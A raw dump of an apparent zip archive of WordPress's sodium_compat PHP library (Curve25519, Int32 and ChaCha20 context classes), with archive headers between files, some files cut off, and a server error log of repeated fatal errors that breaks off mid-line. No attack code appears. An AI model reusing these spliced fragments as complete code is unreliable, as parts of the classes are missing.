$tmp0); } # fe_cswap(x2,x3,swap); self::fe_cswap($x2, $x3, $swap); # fe_cswap(z2,z3,swap); self::fe_cswap($z2, $z3, $swap); # fe_invert(z2,z2); $z2 = self::fe_invert($z2); # fe_mul(x2,x2,z2); $x2 = self::fe_mul($x2, $z2); # fe_tobytes(q,x2); return (string) self::fe_tobytes($x2); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $edwardsY * @param ParagonIE_Sodium_Core32_Curve25519_Fe $edwardsZ * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @throws SodiumException * @throws TypeError */ public static function edwards_to_montgomery( ParagonIE_Sodium_Core32_Curve25519_Fe $edwardsY, ParagonIE_Sodium_Core32_Curve25519_Fe $edwardsZ ) { $tempX = self::fe_add($edwardsZ, $edwardsY); $tempZ = self::fe_sub($edwardsZ, $edwardsY); $tempZ = self::fe_invert($tempZ); return self::fe_mul($tempX, $tempZ); } /** * @internal You should not use this directly from another application * * @param string $n * @return string * @throws SodiumException * @throws TypeError */ public static function crypto_scalarmult_curve25519_ref10_base($n) { # for (i = 0;i < 32;++i) e[i] = n[i]; $e = '' . $n; # e[0] &= 248; $e[0] = self::intToChr( self::chrToInt($e[0]) & 248 ); # e[31] &= 127; # e[31] |= 64; $e[31] = self::intToChr( (self::chrToInt($e[31]) & 127) | 64 ); $A = self::ge_scalarmult_base($e); if ( !($A->Y instanceof ParagonIE_Sodium_Core32_Curve25519_Fe) || !($A->Z instanceof ParagonIE_Sodium_Core32_Curve25519_Fe) ) { throw new TypeError('Null points encountered'); } $pk = self::edwards_to_montgomery($A->Y, $A->Z); return self::fe_tobytes($pk); } } PK,L[```src/Core32/Int32.phpnu[ - two 16-bit integers * * 0 is the higher 16 bits * 1 is the lower 16 bits */ public $limbs = array(0, 0); /** * @var int */ public $overflow = 0; /** * @var bool */ public $unsignedInt = false; /** * ParagonIE_Sodium_Core32_Int32 constructor. * @param array $array * @param bool $unsignedInt */ public function __construct($array = array(0, 0), $unsignedInt = false) { $this->limbs = array( (int) $array[0], (int) $array[1] ); $this->overflow = 0; $this->unsignedInt = $unsignedInt; } /** * Adds two int32 objects * * @param ParagonIE_Sodium_Core32_Int32 $addend * @return ParagonIE_Sodium_Core32_Int32 */ public function addInt32(ParagonIE_Sodium_Core32_Int32 $addend) { $i0 = $this->limbs[0]; $i1 = $this->limbs[1]; $j0 = $addend->limbs[0]; $j1 = $addend->limbs[1]; $r1 = $i1 + ($j1 & 0xffff); $carry = $r1 >> 16; $r0 = $i0 + ($j0 & 0xffff) + $carry; $carry = $r0 >> 16; $r0 &= 0xffff; $r1 &= 0xffff; $return = new ParagonIE_Sodium_Core32_Int32( array($r0, $r1) ); $return->overflow = $carry; $return->unsignedInt = $this->unsignedInt; return $return; } /** * Adds a normal integer to an int32 object * * @param int $int * @return ParagonIE_Sodium_Core32_Int32 * @throws SodiumException * @throws TypeError */ public function addInt($int) { ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1); /** @var int $int */ $int = (int) $int; $int = (int) $int; $i0 = $this->limbs[0]; $i1 = $this->limbs[1]; $r1 = $i1 + ($int & 0xffff); $carry = $r1 >> 16; $r0 = $i0 + (($int >> 16) & 0xffff) + $carry; $carry = $r0 >> 16; $r0 &= 0xffff; $r1 &= 0xffff; $return = new ParagonIE_Sodium_Core32_Int32( array($r0, $r1) ); $return->overflow = $carry; $return->unsignedInt = $this->unsignedInt; return $return; } /** * @param int $b * @return int */ public function compareInt($b = 0) { $gt = 0; $eq = 1; $i = 2; $j = 0; while ($i > 0) { --$i; /** @var int $x1 */ $x1 = $this->limbs[$i]; /** @var int $x2 */ $x2 = ($b >> ($j << 4)) & 0xffff; /** @var int $gt */ $gt |= (($x2 - $x1) >> 8) & $eq; /** @var int $eq */ $eq &= (($x2 ^ $x1) - 1) >> 8; } return ($gt + $gt - $eq) + 1; } /** * @param int $m * @return ParagonIE_Sodium_Core32_Int32 */ public function mask($m = 0) { /** @var int $hi */ $hi = ((int) $m >> 16); $hi &= 0xffff; /** @var int $lo */ $lo = ((int) $m) & 0xffff; return new ParagonIE_Sodium_Core32_Int32( array( (int) ($this->limbs[0] & $hi), (int) ($this->limbs[1] & $lo) ), $this->unsignedInt ); } /** * @param array $a * @param array $b * @param int $baseLog2 * @return array */ public function multiplyLong(array $a, array $b, $baseLog2 = 16) { $a_l = count($a); $b_l = count($b); /** @var array $r */ $r = array_fill(0, $a_l + $b_l + 1, 0); $base = 1 << $baseLog2; for ($i = 0; $i < $a_l; ++$i) { $a_i = $a[$i]; for ($j = 0; $j < $a_l; ++$j) { $b_j = $b[$j]; $product = ($a_i * $b_j) + $r[$i + $j]; $carry = ((int) $product >> $baseLog2 & 0xffff); $r[$i + $j] = ((int) $product - (int) ($carry * $base)) & 0xffff; $r[$i + $j + 1] += $carry; } } return array_slice($r, 0, 5); } /** * @param int $int * @return ParagonIE_Sodium_Core32_Int32 */ public function mulIntFast($int) { // Handle negative numbers $aNeg = ($this->limbs[0] >> 15) & 1; $bNeg = ($int >> 31) & 1; $a = array_reverse($this->limbs); $b = array( $int & 0xffff, ($int >> 16) & 0xffff ); if ($aNeg) { for ($i = 0; $i < 2; ++$i) { $a[$i] = ($a[$i] ^ 0xffff) & 0xffff; } ++$a[0]; } if ($bNeg) { for ($i = 0; $i < 2; ++$i) { $b[$i] = ($b[$i] ^ 0xffff) & 0xffff; } ++$b[0]; } // Multiply $res = $this->multiplyLong($a, $b); // Re-apply negation to results if ($aNeg !== $bNeg) { for ($i = 0; $i < 2; ++$i) { $res[$i] = (0xffff ^ $res[$i]) & 0xffff; } // Handle integer overflow $c = 1; for ($i = 0; $i < 2; ++$i) { $res[$i] += $c; $c = $res[$i] >> 16; $res[$i] &= 0xffff; } } // Return our values $return = new ParagonIE_Sodium_Core32_Int32(); $return->limbs = array( $res[1] & 0xffff, $res[0] & 0xffff ); if (count($res) > 2) { $return->overflow = $res[2] & 0xffff; } $return->unsignedInt = $this->unsignedInt; return $return; } /** * @param ParagonIE_Sodium_Core32_Int32 $right * @return ParagonIE_Sodium_Core32_Int32 */ public function mulInt32Fast(ParagonIE_Sodium_Core32_Int32 $right) { $aNeg = ($this->limbs[0] >> 15) & 1; $bNeg = ($right->limbs[0] >> 15) & 1; $a = array_reverse($this->limbs); $b = array_reverse($right->limbs); if ($aNeg) { for ($i = 0; $i < 2; ++$i) { $a[$i] = ($a[$i] ^ 0xffff) & 0xffff; } ++$a[0]; } if ($bNeg) { for ($i = 0; $i < 2; ++$i) { $b[$i] = ($b[$i] ^ 0xffff) & 0xffff; } ++$b[0]; } $res = $this->multiplyLong($a, $b); if ($aNeg !== $bNeg) { if ($aNeg !== $bNeg) { for ($i = 0; $i < 2; ++$i) { $res[$i] = ($res[$i] ^ 0xffff) & 0xffff; } $c = 1; for ($i = 0; $i < 2; ++$i) { $res[$i] += $c; $c = $res[$i] >> 16; $res[$i] &= 0xffff; } } } $return = new ParagonIE_Sodium_Core32_Int32(); $return->limbs = array( $res[1] & 0xffff, $res[0] & 0xffff ); if (count($res) > 2) { $return->overflow = $res[2]; } return $return; } /** * @param int $int * @param int $size * @return ParagonIE_Sodium_Core32_Int32 * @throws SodiumException * @throws TypeError */ public function mulInt($int = 0, $size = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1); ParagonIE_Sodium_Core32_Util::declareScalarType($size, 'int', 2); if (ParagonIE_Sodium_Compat::$fastMult) { return $this->mulIntFast((int) $int); } /** @var int $int */ $int = (int) $int; /** @var int $size */ $size = (int) $size; if (!$size) { $size = 31; } /** @var int $size */ $a = clone $this; $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; // Initialize: $ret0 = 0; $ret1 = 0; $a0 = $a->limbs[0]; $a1 = $a->limbs[1]; /** @var int $size */ /** @var int $i */ for ($i = $size; $i >= 0; --$i) { $m = (int) (-($int & 1)); $x0 = $a0 & $m; $x1 = $a1 & $m; $ret1 += $x1; $c = $ret1 >> 16; $ret0 += $x0 + $c; $ret0 &= 0xffff; $ret1 &= 0xffff; $a1 = ($a1 << 1); $x1 = $a1 >> 16; $a0 = ($a0 << 1) | $x1; $a0 &= 0xffff; $a1 &= 0xffff; $int >>= 1; } $return->limbs[0] = $ret0; $return->limbs[1] = $ret1; return $return; } /** * @param ParagonIE_Sodium_Core32_Int32 $int * @param int $size * @return ParagonIE_Sodium_Core32_Int32 * @throws SodiumException * @throws TypeError */ public function mulInt32(ParagonIE_Sodium_Core32_Int32 $int, $size = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($size, 'int', 2); if (ParagonIE_Sodium_Compat::$fastMult) { return $this->mulInt32Fast($int); } if (!$size) { $size = 31; } /** @var int $size */ $a = clone $this; $b = clone $int; $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; // Initialize: $ret0 = 0; $ret1 = 0; $a0 = $a->limbs[0]; $a1 = $a->limbs[1]; $b0 = $b->limbs[0]; $b1 = $b->limbs[1]; /** @var int $size */ /** @var int $i */ for ($i = $size; $i >= 0; --$i) { $m = (int) (-($b1 & 1)); $x0 = $a0 & $m; $x1 = $a1 & $m; $ret1 += $x1; $c = $ret1 >> 16; $ret0 += $x0 + $c; $ret0 &= 0xffff; $ret1 &= 0xffff; $a1 = ($a1 << 1); $x1 = $a1 >> 16; $a0 = ($a0 << 1) | $x1; $a0 &= 0xffff; $a1 &= 0xffff; $x0 = ($b0 & 1) << 16; $b0 = ($b0 >> 1); $b1 = (($b1 | $x0) >> 1); $b0 &= 0xffff; $b1 &= 0xffff; } $return->limbs[0] = $ret0; $return->limbs[1] = $ret1; return $return; } /** * OR this 32-bit integer with another. * * @param ParagonIE_Sodium_Core32_Int32 $b * @return ParagonIE_Sodium_Core32_Int32 */ public function orInt32(ParagonIE_Sodium_Core32_Int32 $b) { $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; $return->limbs = array( (int) ($this->limbs[0] | $b->limbs[0]), (int) ($this->limbs[1] | $b->limbs[1]) ); /** @var int overflow */ $return->overflow = $this->overflow | $b->overflow; return $return; } /** * @param int $b * @return bool */ public function isGreaterThan($b = 0) { return $this->compareInt($b) > 0; } /** * @param int $b * @return bool */ public function isLessThanInt($b = 0) { return $this->compareInt($b) < 0; } /** * @param int $c * @return ParagonIE_Sodium_Core32_Int32 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArrayAccess */ public function rotateLeft($c = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1); /** @var int $c */ $c = (int) $c; $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; $c &= 31; if ($c === 0) { // NOP, but we want a copy. $return->limbs = $this->limbs; } else { /** @var int $c */ /** @var int $idx_shift */ $idx_shift = ($c >> 4) & 1; /** @var int $sub_shift */ $sub_shift = $c & 15; /** @var array $limbs */ $limbs =& $return->limbs; /** @var array $myLimbs */ $myLimbs =& $this->limbs; for ($i = 1; $i >= 0; --$i) { /** @var int $j */ $j = ($i + $idx_shift) & 1; /** @var int $k */ $k = ($i + $idx_shift + 1) & 1; $limbs[$i] = (int) ( ( ((int) ($myLimbs[$j]) << $sub_shift) | ((int) ($myLimbs[$k]) >> (16 - $sub_shift)) ) & 0xffff ); } } return $return; } /** * Rotate to the right * * @param int $c * @return ParagonIE_Sodium_Core32_Int32 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArrayAccess */ public function rotateRight($c = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1); /** @var int $c */ $c = (int) $c; $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; $c &= 31; /** @var int $c */ if ($c === 0) { // NOP, but we want a copy. $return->limbs = $this->limbs; } else { /** @var int $c */ /** @var int $idx_shift */ $idx_shift = ($c >> 4) & 1; /** @var int $sub_shift */ $sub_shift = $c & 15; /** @var array $limbs */ $limbs =& $return->limbs; /** @var array $myLimbs */ $myLimbs =& $this->limbs; for ($i = 1; $i >= 0; --$i) { /** @var int $j */ $j = ($i - $idx_shift) & 1; /** @var int $k */ $k = ($i - $idx_shift - 1) & 1; $limbs[$i] = (int) ( ( ((int) ($myLimbs[$j]) >> (int) ($sub_shift)) | ((int) ($myLimbs[$k]) << (16 - (int) ($sub_shift))) ) & 0xffff ); } } return $return; } /** * @param bool $bool * @return self */ public function setUnsignedInt($bool = false) { $this->unsignedInt = !empty($bool); return $this; } /** * @param int $c * @return ParagonIE_Sodium_Core32_Int32 * @throws SodiumException * @throws TypeError */ public function shiftLeft($c = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1); /** @var int $c */ $c = (int) $c; $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; $c &= 63; /** @var int $c */ if ($c === 0) { $return->limbs = $this->limbs; } elseif ($c < 0) { /** @var int $c */ return $this->shiftRight(-$c); } else { /** @var int $c */ /** @var int $tmp */ $tmp = $this->limbs[1] << $c; $return->limbs[1] = (int)($tmp & 0xffff); /** @var int $carry */ $carry = $tmp >> 16; /** @var int $tmp */ $tmp = ($this->limbs[0] << $c) | ($carry & 0xffff); $return->limbs[0] = (int) ($tmp & 0xffff); } return $return; } /** * @param int $c * @return ParagonIE_Sodium_Core32_Int32 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedAssignment * @psalm-suppress MixedOperand */ public function shiftRight($c = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1); /** @var int $c */ $c = (int) $c; $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; $c &= 63; /** @var int $c */ if ($c >= 16) { $return->limbs = array( (int) ($this->overflow & 0xffff), (int) ($this->limbs[0]) ); $return->overflow = $this->overflow >> 16; return $return->shiftRight($c & 15); } if ($c === 0) { $return->limbs = $this->limbs; } elseif ($c < 0) { /** @var int $c */ return $this->shiftLeft(-$c); } else { if (!is_int($c)) { throw new TypeError(); } /** @var int $c */ // $return->limbs[0] = (int) (($this->limbs[0] >> $c) & 0xffff); $carryLeft = (int) ($this->overflow & ((1 << ($c + 1)) - 1)); $return->limbs[0] = (int) ((($this->limbs[0] >> $c) | ($carryLeft << (16 - $c))) & 0xffff); $carryRight = (int) ($this->limbs[0] & ((1 << ($c + 1)) - 1)); $return->limbs[1] = (int) ((($this->limbs[1] >> $c) | ($carryRight << (16 - $c))) & 0xffff); $return->overflow >>= $c; } return $return; } /** * Subtract a normal integer from an int32 object. * * @param int $int * @return ParagonIE_Sodium_Core32_Int32 * @throws SodiumException * @throws TypeError */ public function subInt($int) { ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1); /** @var int $int */ $int = (int) $int; $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; /** @var int $tmp */ $tmp = $this->limbs[1] - ($int & 0xffff); /** @var int $carry */ $carry = $tmp >> 16; $return->limbs[1] = (int) ($tmp & 0xffff); /** @var int $tmp */ $tmp = $this->limbs[0] - (($int >> 16) & 0xffff) + $carry; $return->limbs[0] = (int) ($tmp & 0xffff); return $return; } /** * Subtract two int32 objects from each other * * @param ParagonIE_Sodium_Core32_Int32 $b * @return ParagonIE_Sodium_Core32_Int32 */ public function subInt32(ParagonIE_Sodium_Core32_Int32 $b) { $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; /** @var int $tmp */ $tmp = $this->limbs[1] - ($b->limbs[1] & 0xffff); /** @var int $carry */ $carry = $tmp >> 16; $return->limbs[1] = (int) ($tmp & 0xffff); /** @var int $tmp */ $tmp = $this->limbs[0] - ($b->limbs[0] & 0xffff) + $carry; $return->limbs[0] = (int) ($tmp & 0xffff); return $return; } /** * XOR this 32-bit integer with another. * * @param ParagonIE_Sodium_Core32_Int32 $b * @return ParagonIE_Sodium_Core32_Int32 */ public function xorInt32(ParagonIE_Sodium_Core32_Int32 $b) { $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; $return->limbs = array( (int) ($this->limbs[0] ^ $b->limbs[0]), (int) ($this->limbs[1] ^ $b->limbs[1]) ); return $return; } /** * @param int $signed * @return self * @throws SodiumException * @throws TypeError */ public static function fromInt($signed) { ParagonIE_Sodium_Core32_Util::declareScalarType($signed, 'int', 1);; /** @var int $signed */ $signed = (int) $signed; return new ParagonIE_Sodium_Core32_Int32( array( (int) (($signed >> 16) & 0xffff), (int) ($signed & 0xffff) ) ); } /** * @param string $string * @return self * @throws SodiumException * @throws TypeError */ public static function fromString($string) { ParagonIE_Sodium_Core32_Util::declareScalarType($string, 'string', 1); $string = (string) $string; if (ParagonIE_Sodium_Core32_Util::strlen($string) !== 4) { throw new RangeException( 'String must be 4 bytes; ' . ParagonIE_Sodium_Core32_Util::strlen($string) . ' given.' ); } $return = new ParagonIE_Sodium_Core32_Int32(); $return->limbs[0] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[0]) & 0xff) << 8); $return->limbs[0] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[1]) & 0xff); $return->limbs[1] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[2]) & 0xff) << 8); $return->limbs[1] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[3]) & 0xff); return $return; } /** * @param string $string * @return self * @throws SodiumException * @throws TypeError */ public static function fromReverseString($string) { ParagonIE_Sodium_Core32_Util::declareScalarType($string, 'string', 1); $string = (string) $string; if (ParagonIE_Sodium_Core32_Util::strlen($string) !== 4) { throw new RangeException( 'String must be 4 bytes; ' . ParagonIE_Sodium_Core32_Util::strlen($string) . ' given.' ); } $return = new ParagonIE_Sodium_Core32_Int32(); $return->limbs[0] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[3]) & 0xff) << 8); $return->limbs[0] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[2]) & 0xff); $return->limbs[1] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[1]) & 0xff) << 8); $return->limbs[1] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[0]) & 0xff); return $return; } /** * @return array */ public function toArray() { return array((int) ($this->limbs[0] << 16 | $this->limbs[1])); } /** * @return string * @throws TypeError */ public function toString() { return ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[0] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[0] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[1] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[1] & 0xff); } /** * @return int */ public function toInt() { return (int) ( (($this->limbs[0] & 0xffff) << 16) | ($this->limbs[1] & 0xffff) ); } /** * @return ParagonIE_Sodium_Core32_Int32 */ public function toInt32() { $return = new ParagonIE_Sodium_Core32_Int32(); $return->limbs[0] = (int) ($this->limbs[0] & 0xffff); $return->limbs[1] = (int) ($this->limbs[1] & 0xffff); $return->unsignedInt = $this->unsignedInt; $return->overflow = (int) ($this->overflow & 0x7fffffff); return $return; } /** * @return ParagonIE_Sodium_Core32_Int64 */ public function toInt64() { $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; if ($this->unsignedInt) { $return->limbs[0] += (($this->overflow >> 16) & 0xffff); $return->limbs[1] += (($this->overflow) & 0xffff); } else { $neg = -(($this->limbs[0] >> 15) & 1); $return->limbs[0] = (int)($neg & 0xffff); $return->limbs[1] = (int)($neg & 0xffff); } $return->limbs[2] = (int) ($this->limbs[0] & 0xffff); $return->limbs[3] = (int) ($this->limbs[1] & 0xffff); return $return; } /** * @return string * @throws TypeError */ public function toReverseString() { return ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[1] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[1] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[0] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[0] >> 8) & 0xff); } /** * @return string */ public function __toString() { try { return $this->toString(); } catch (TypeError $ex) { // PHP engine can't handle exceptions from __toString() return ''; } } } PK,L[src/Core32/ChaCha20/IetfCtx.phpnu[container[12] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($counter, 0, 4)); } $this->container[13] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 0, 4)); $this->container[14] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 4, 4)); $this->container[15] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 8, 4)); } } PK,L[Xv((src/Core32/ChaCha20/Ctx.phpnu[ */ protected $container; /** * ParagonIE_Sodium_Core_ChaCha20_Ctx constructor. * * @internal You should not use this directly from another application * * @param string $key ChaCha20 key. * @param string $iv Initialization Vector (a.k.a. nonce). * @param string $counter The initial counter value. * Defaults to 8 0x00 bytes. * @throws InvalidArgumentException * @throws SodiumException * @throws TypeError */ public function __construct($key = '', $iv = '', $counter = '') { if (self::strlen($key) !== 32) { throw new InvalidArgumentException('ChaCha20 expects a 256-bit key.'); } if (self::strlen($iv) !== 8) { throw new InvalidArgumentException('ChaCha20 expects a 64-bit nonce.'); } $this->container = new SplFixedArray(16); /* "expand 32-byte k" as per ChaCha20 spec */ $this->container[0] = new ParagonIE_Sodium_Core32_Int32(array(0x6170, 0x7865)); $this->container[1] = new ParagonIE_Sodium_Core32_Int32(array(0x3320, 0x646e)); $this->container[2] = new ParagonIE_Sodium_Core32_Int32(array(0x7962, 0x2d32)); $this->container[3] = new ParagonIE_Sodium_Core32_Int32(array(0x6b20, 0x6574)); $this->container[4] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 0, 4)); $this->container[5] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 4, 4)); $this->container[6] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 8, 4)); $this->container[7] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 12, 4)); $this->container[8] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 16, 4)); $this->container[9] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 20, 4)); $this->container[10] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 24, 4)); $this->container[11] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 28, 4)); if (empty($counter)) { $this->container[12] = new ParagonIE_Sodium_Core32_Int32(); $this->container[13] = new ParagonIE_Sodium_Core32_Int32(); } else { $this->container[12] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($counter, 0, 4)); $this->container[13] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($counter, 4, 4)); } $this->container[14] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 0, 4)); $this->container[15] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 4, 4)); } /** * @internal You should not use this directly from another application * * @param int $offset * @param int|ParagonIE_Sodium_Core32_Int32 $value * @return void */ #[ReturnTypeWillChange] public function offsetSet($offset, $value) { if (!is_int($offset)) { throw new InvalidArgumentException('Expected an integer'); } if ($value instanceof ParagonIE_Sodium_Core32_Int32) { /* } elseif (is_int($value)) { $value = ParagonIE_Sodium_Core32_Int32::fromInt($value); */ } else { throw new InvalidArgumentException('Expected an integer'); } $this->container[$offset] = $value; } /** * @internal You should not use this directly from another application * * @param int $offset * @return bool * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetExists($offset) { return isset($this->container[$offset]); } /** * @internal You should not use this directly from another application * * @param int $offset * @return void * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetUnset($offset) { unset($this->container[$offset]); } /** * @internal You should not use this directly from another application * * @param int $offset * @return mixed|null * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetGet($offset) { return isset($this->container[$offset]) ? $this->container[$offset] : null; } } PK,L[Erddsrc/Core32/ChaCha20/error_lognu[[18-May-2025 11:13:37 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10 [18-May-2025 11:31:51 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20_Ctx" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10 [05-Jun-2025 07:16:32 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10 [05-Jun-2025 08:06:51 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20_Ctx" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10 [20-Jun-2025 10:13:09 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20_Ctx" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10 [23-Jun-2025 08:55:07 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10 [28-Jun-2025 16:32:13 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10 [28-Jun-2025 18:00:25 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20_Ctx" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10 [11-Jul-2025 10:53:47 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10 [11-Jul-2025 11:17:06 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20_Ctx" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10 [17-Aug-2025 23:01:25 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10 [17-Aug-2025 23:02:13 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20_Ctx" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10 [18-Aug-2025 09:51:47 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20_Ctx" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10 [18-Aug-2025 09:55:27 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10 [18-Aug-2025 09:58:09 UTC] PHP Fatal 